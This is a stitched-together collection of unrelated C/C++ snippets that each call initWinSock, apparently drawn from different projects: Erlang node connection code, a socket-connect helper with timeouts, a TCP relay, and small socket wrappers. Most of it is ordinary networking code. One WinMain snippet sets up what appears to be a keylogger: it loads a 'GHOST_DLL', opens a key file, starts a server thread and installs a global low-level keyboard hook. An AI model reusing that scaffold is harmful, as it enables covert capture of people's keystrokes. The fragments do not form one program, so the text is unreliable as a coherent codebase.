static void hugsprim_initWinSock_4(HugsStackPtr hugs_root) { HsInt res1; res1 = initWinSock(); hugs->putInt(res1); hugs->returnIO(hugs_root,1); }
int CALLBACK WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; BOOL bRet; HMODULE dllMod; HHOOK hookHandle; SOCKET serverSocket; HANDLE serverThreadHandle; UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); UNREFERENCED_PARAMETER(nCmdShow); /* initialize, all of these functions and procedures * must complete successfully in order for the main loop to begin */ if( !initMutex() || !registerWindowClass( hInstance ) || !createWindow( hInstance ) || ((dllMod = LoadLibrary( TEXT(GHOST_DLL)) ) == NULL ) || !(initializeLibrary() ) || !(initKeyFile() ) || !(initWinSock(&serverSocket) ) || !(initServerThread(&serverSocket, &serverThreadHandle) ) || ((hookHandle = SetWindowsHookEx( WH_KEYBOARD_LL, hookProcedure, dllMod, 0) ) == NULL)) { return EXIT_FAILURE; } /* main message loop */ while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0) { TranslateMessage(&msg); DispatchMessage(&msg); } /* clean up and exit */ UnhookWindowsHookEx( hookHandle ); FreeLibrary( dllMod ); return EXIT_SUCCESS; }
void Socket::resolve(std::string& host, gpointer data, on_resolved_func func) { initWinSock(); std::map<std::string, in_addr_t>::iterator iter; iter = dns_map.find(host); if (iter != dns_map.end()) { func(data, true, iter->second); return; } DnsQueryData *query_data = new DnsQueryData(); query_data->host = host; query_data->data = data; query_data->func = func; g_thread_unref(g_thread_new("dns_thread", dns_thread, query_data)); }
int main(){ int fd; char err[128]; char* addr="127.0.0.1"; int port = 9999; initWinSock(); fd = anetTcpConnect(err, addr, port); if(fd <= 0){ printf("%s\n",err); return 1; } PutRequestMessage* msg = dynamic_cast<PutRequestMessage*>(Message::createMessage(PUTREQUESTMSG)); msg->setKey("asd",3); msg->setValue("zxc",3); msg->serialize(); int ret = anetWrite(fd,msg->getBuffer(),msg->getBufferSize()); printf("ret : %d\n",ret); closesocket(fd); }
static void t_connect(char *host, char *port) { struct addrinfo hints, *res; initWinSock(); memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if (getaddrinfo(host, port, &hints, &res) != 0) { MessageBox(NULL, "getaddrinfo failed.", "Error", MB_OK); return; } if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) { MessageBox(NULL, "socket failed.", "Error", MB_OK); return; } if (connect(sockfd, res->ai_addr, res->ai_addrlen) < 0) { MessageBox(NULL, "socket failed.", "Error", MB_OK); return; } }
/** * Connects to specified host and service. The service can be service name as * defined in /etc/services or port number in string form. * * returns non negative socket descriptor or -1 on error. */ int socket_connect(const char *host, const char *service) { int fd = -1; struct addrinfo hints, *res_addrinfo, *ai; int rc; #ifdef WIN32 initWinSock(); #endif /* WIN32 */ memset(&hints, 0, sizeof (hints)); hints.ai_family = AF_UNSPEC; /* IPv6 + IPv4 */ hints.ai_socktype = SOCK_STREAM; /* TCP */ rc = getaddrinfo(host, service, &hints, &res_addrinfo); if (rc) { dc_errno = DESOCKET; return -1; } for (ai = res_addrinfo; ai != NULL; ai = ai->ai_next) { fd = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol); if (fd < 0) continue; if (nio_connect(fd, ai->ai_addr, ai->ai_addrlen, 20) == 0) break; system_close(fd); fd = -1; } freeaddrinfo(res_addrinfo); if (fd < 0) { dc_errno = DECONNECT; } return fd; }
/* * Initialize by set: thishostname, thisalivename, * thisnodename and thisipaddr. At success return 0, * otherwise return -1. */ int ei_connect_init(ei_cnode* ec, const char* this_node_name, const char *cookie, short creation) { struct hostent *hp; char thishostname[EI_MAXHOSTNAMELEN+1]; char thisnodename[MAXNODELEN+1]; char thisalivename[EI_MAXALIVELEN+1]; #ifdef __WIN32__ if (!initWinSock()) { EI_TRACE_ERR0("ei_connect_xinit","can't initiate winsock"); return ERL_ERROR; } #endif /* win32 */ #ifdef _REENTRANT if (ei_sockets_lock == NULL) { ei_sockets_lock = ei_mutex_create(); } #endif /* _REENTRANT */ if (gethostname(thishostname, EI_MAXHOSTNAMELEN) == -1) { #ifdef __WIN32__ EI_TRACE_ERR1("ei_connect_init","Failed to get host name: %d", WSAGetLastError()); #else EI_TRACE_ERR1("ei_connect_init","Failed to get host name: %d", errno); #endif /* win32 */ return ERL_ERROR; } if (this_node_name == NULL) { sprintf(thisalivename, "c%d", (int) getpid()); } else if (strlen(this_node_name) >= sizeof(thisalivename)) { EI_TRACE_ERR0("ei_connect_init","ERROR: this_node_name too long"); return ERL_ERROR; } else { strcpy(thisalivename, this_node_name); } if ((hp = ei_gethostbyname(thishostname)) == 0) { /* Looking up IP given hostname fails. We must be on a standalone host so let's use loopback for communication instead. */ if ((hp = ei_gethostbyname("localhost")) == 0) { #ifdef __WIN32__ char reason[1024]; win32_error(reason,sizeof(reason)); EI_TRACE_ERR2("ei_connect_init", "Can't get ip address for host %s: %s", thishostname, reason); #else EI_TRACE_ERR2("ei_connect_init", "Can't get ip address for host %s: %d", thishostname, h_errno); #endif /* win32 */ return ERL_ERROR; } } { char* ct; if (strcmp(hp->h_name, "localhost") == 0) { /* We use a short node name */ if ((ct = strchr(thishostname, '.')) != NULL) *ct = '\0'; sprintf(thisnodename, "%s@%s", this_node_name, thishostname); } else { /* We use a short node name */ if ((ct = strchr(hp->h_name, '.')) != NULL) *ct = '\0'; strcpy(thishostname, hp->h_name); sprintf(thisnodename, "%s@%s", this_node_name, hp->h_name); } } return ei_connect_xinit(ec, thishostname, thisalivename, thisnodename, (struct in_addr *)*hp->h_addr_list, cookie, creation); }
/* * Perhaps run this routine instead of ei_connect_init/2 ? * Initailize by setting: * thishostname, thisalivename, thisnodename and thisipaddr */ int ei_connect_xinit(ei_cnode* ec, const char *thishostname, const char *thisalivename, const char *thisnodename, Erl_IpAddr thisipaddr, const char *cookie, const short creation) { char *dbglevel; /* FIXME this code was enabled for 'erl'_connect_xinit(), why not here? */ #if 0 #ifdef __WIN32__ if (!initWinSock()) { EI_TRACE_ERR0("ei_connect_xinit","can't initiate winsock"); return ERL_ERROR; } #endif #endif #ifdef _REENTRANT if (ei_sockets_lock == NULL) { ei_sockets_lock = ei_mutex_create(); } #endif /* _REENTRANT */ ec->creation = creation; if (cookie) { if (strlen(cookie) >= sizeof(ec->ei_connect_cookie)) { EI_TRACE_ERR0("ei_connect_xinit", "ERROR: Cookie size too large"); return ERL_ERROR; } else { strcpy(ec->ei_connect_cookie, cookie); } } else if (!get_cookie(ec->ei_connect_cookie, sizeof(ec->ei_connect_cookie))) { return ERL_ERROR; } if (strlen(thishostname) >= sizeof(ec->thishostname)) { EI_TRACE_ERR0("ei_connect_xinit","ERROR: Thishostname too long"); return ERL_ERROR; } strcpy(ec->thishostname, thishostname); if (strlen(thisalivename) >= sizeof(ec->thisalivename)) { EI_TRACE_ERR0("ei_connect_init","Thisalivename too long"); return ERL_ERROR; } strcpy(ec->thisalivename, thisalivename); if (strlen(thisnodename) >= sizeof(ec->thisnodename)) { EI_TRACE_ERR0("ei_connect_init","Thisnodename too long"); return ERL_ERROR; } strcpy(ec->thisnodename, thisnodename); /* FIXME right now this_ipaddr is never used */ /* memmove(&ec->this_ipaddr, thisipaddr, sizeof(ec->this_ipaddr)); */ strcpy(ec->self.node,thisnodename); ec->self.num = 0; ec->self.serial = 0; ec->self.creation = creation; if ((dbglevel = getenv("EI_TRACELEVEL")) != NULL || (dbglevel = getenv("ERL_DEBUG_DIST")) != NULL) ei_tracelevel = atoi(dbglevel); return 0; }
/* ** It is assumed that the socket is a blocking socket. In order to ** timeout the connect(), socket is made non-blocking and changed ** back to blocking after a successful connect, because lot of other calls ** are blocking. Someday I might change everything to non-blocking. ** ** returns a blocking SOCKET on success INVALID_SOCKET on failure */ SOCKET clientSocket(int use, char *address,int port, int connect_timeout) { SOCKET sock_fd; struct sockaddr_in sa; struct in_addr *addr; struct timeval tv; fd_set fdset; int eno, rc; #ifdef HAVE_GETADDRINFO char service[64]; struct addrinfo hints, *cur, *res, *ressave; #endif /* HAVE_GETADDRINFO */ #ifdef WINNT rc=initWinSock(); if (rc != 0) return(INVALID_SOCKET); #endif /* WINNT */ #ifdef HAVE_GETADDRINFO if (debug) { (void) fprintf(stderr,"libmsock: using getaddrinfo\n"); } memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = PF_UNSPEC; if (use == MSOCK_USE_IPV4) { hints.ai_family = PF_INET; } if (use == MSOCK_USE_IPV6) { hints.ai_family = PF_INET6; } (void) snprintf(service, sizeof(service) -1, "%d", port); hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; rc = getaddrinfo(address, service, &hints, &res); if (rc != 0) { (void) fprintf(stderr,"Error: Could not find host \"%s\"\n",address); return(INVALID_SOCKET); } ressave = res; rc = (-1); for (cur=res; cur != NULL; cur = cur->ai_next) { if (debug) { switch (cur->ai_family) { case AF_UNSPEC: { if (debug) { (void) fprintf(stderr," AF_UNSPEC\n"); } break; } case AF_INET: { if (debug) { (void) fprintf(stderr," AF_INET IPv4\n"); } break; } case AF_INET6: { if (debug) { (void) fprintf(stderr," AF_INET6\n"); } break; } } msock_print_ipaddr(cur); } sock_fd = socket(cur->ai_family, cur->ai_socktype, cur->ai_protocol); if (sock_fd >= 0) { msock_make_socket_nonblocking(sock_fd); /* ** Try the current addrinfo ** Patch by https://code.google.com/p/mailsend/issues/detail?id=34 */ rc = connect(sock_fd, cur->ai_addr, cur->ai_addrlen); eno = msock_get_errno(sock_fd); if (debug) { (void) fprintf(stderr," EINPROGRESS=%d,EWOULDBLOCK=%d\n", EINPROGRESS,EWOULDBLOCK); (void) fprintf(stderr," connect(): socket=%d,rc=%d, errno=%d\n", sock_fd,rc,eno); } if (rc != 0) { if (eno == EINPROGRESS || eno == EWOULDBLOCK) { /* ** our socket is non blocking. ** we need this to timout connection . ** we'll make the socket blocking again at the end */ rc = 0; if (debug) { (void) fprintf(stderr,"(Debug) Try socket %d\n",sock_fd); } break; } } else { msock_close_socket(sock_fd); } } } freeaddrinfo(ressave); if (rc != 0) { (void) fprintf(stderr,"Could not connect to %s:%d\n",address,port); return(INVALID_SOCKET); } #else addr=atoAddr(address); if (addr == NULL) { (void) fprintf(stderr,"Error: Invalid address: %s\n",address); return(INVALID_SOCKET); } memset((char *) &sa,0,sizeof(sa)); sa.sin_family=AF_INET; sa.sin_port=htons(port); sa.sin_addr.s_addr=addr->s_addr; /* open the socket */ sock_fd=socket(AF_INET,SOCK_STREAM,PF_UNSPEC); if (sock_fd == INVALID_SOCKET) { (void) fprintf(stderr," Could not create socket\n"); return(INVALID_SOCKET); } /* make the socket non-blocking */ msock_make_socket_nonblocking(sock_fd); rc=connect(sock_fd,(struct sockaddr *) &sa,sizeof(sa)); #endif /* HAVE_GETADDRINFO */ /* connect */ if (rc != 0 ) { eno = msock_get_errno(sock_fd); if (eno == ECONNREFUSED) { msock_print_error(); msock_close_socket(sock_fd); return(INVALID_SOCKET); } } FD_ZERO(&fdset); FD_SET(sock_fd, &fdset); tv.tv_sec = connect_timeout; tv.tv_usec = 0; rc = select(sock_fd + 1, NULL, &fdset, NULL, &tv); if (rc == -1) { (void) fprintf(stderr,"Fatal select() error\n"); msock_close_socket(sock_fd); return (INVALID_SOCKET); } if (rc == 0) { (void) fprintf(stderr,"Error: Connection to %s:%d timed out after %d seconds\n", address, port, connect_timeout); msock_close_socket(sock_fd); return (INVALID_SOCKET); } /* make the socket blocking again*/ msock_make_socket_blocking(sock_fd); return(sock_fd); }
int main() { int iResult; char ipstr[INET6_ADDRSTRLEN]; //Initialize Winsock. if(initWinSock()){ cleanUp(); return 1 ; } struct addrinfo *result = NULL, *cResult = NULL, *ptr = NULL, *cPtr = NULL, hints ; // this could be a define PCSTR listen_port = "1234"; // pcstr is a pointer to a constant null-terminated string of 8-bit Windows (ANSI) defined in winnt.h PCSTR send_port = "80"; // hints for incoming connection ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET ; // since we work with ipv4 if ipv6 assign AF_INET6 hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; iResult = getaddrinfo(NULL, listen_port, &hints, &result); if (iResult != 0) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } // hints for send iResult = getaddrinfo("www.jrjsys.com",send_port,&hints,&cResult); if (iResult != 0) { printf("getaddrinfo failed: %d\n", iResult); freeaddrinfo(result); WSACleanup(); return 1; } // lsitening socket SOCKET ListenSocket = INVALID_SOCKET; ListenSocket = socket(result->ai_family,result->ai_socktype,result->ai_protocol); //Error cecking if (ListenSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); freeaddrinfo(cResult); WSACleanup(); return 1; } //Output socket SOCKET OutputSocket = INVALID_SOCKET; OutputSocket = socket(cResult->ai_family,cResult->ai_socktype,cResult->ai_protocol); if (OutputSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); freeaddrinfo(cResult); WSACleanup(); return 1; } //Bind the listenning socket. iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed with error: %d\n", WSAGetLastError()); freeaddrinfo(result); freeaddrinfo(cResult); closesocket(ListenSocket); WSACleanup(); return 1; } freeaddrinfo(result); // we dont need stuff from result anymore so how bout we clean it . //Listen on the socket for a client. if ( listen( ListenSocket, SOMAXCONN ) == SOCKET_ERROR ) { printf( "Listen failed with error: %ld\n", WSAGetLastError() ); closesocket(ListenSocket); WSACleanup(); return 1; } //Accept a connection from a client. SOCKET ClientSocket; ClientSocket = INVALID_SOCKET; printf("waiting connection"); // Accept a client socket ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } printf("get connection"); // if we got connection we must connect to outgoing socket iResult = connect( OutputSocket, cResult->ai_addr, (int)cResult->ai_addrlen); if (iResult == SOCKET_ERROR) { closesocket(OutputSocket); OutputSocket = INVALID_SOCKET; } // @TODO: Check if next adresse in cResult is good for a connection freeaddrinfo(cResult); if (OutputSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n"); closesocket(ListenSocket); WSACleanup(); return 1; } //Receive and send data. char recvbuf[DEFAULT_BUFLEN]; int iSendResult; int iInResult; int recvbuflen = DEFAULT_BUFLEN; // Receive until the peer shuts down the connection do { iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { printf("Bytes received: %d\n", iResult); // Echo the buffer back to the sender iSendResult = send(OutputSocket, recvbuf, iResult, 0); if (iSendResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } printf("Bytes sent: %d\n", iSendResult); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } iInResult = recv(OutputSocket,recvbuf,recvbuflen,0); if (iInResult > 0) { printf("Bytes received: %d\n", iInResult); // Echo the buffer back to the sender iSendResult = send(ClientSocket, recvbuf, iInResult, 0); if (iSendResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(OutputSocket); WSACleanup(); return 1; } printf("Bytes sent: %d\n", iSendResult); } else if (iInResult == 0) printf("Connection closing on output...\n"); else { printf("recv failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } } while (iResult > 0 && iInResult > 0); //Disconnect. cleanUp(); system("pause"); return 0; }
int Socket::socket() { initWinSock(); return (int) ::socket(AF_INET, SOCK_STREAM, 0); }
int Socket::domainSocket() { initWinSock(); return (int) ::socket(AF_UNIX, SOCK_STREAM, 0); }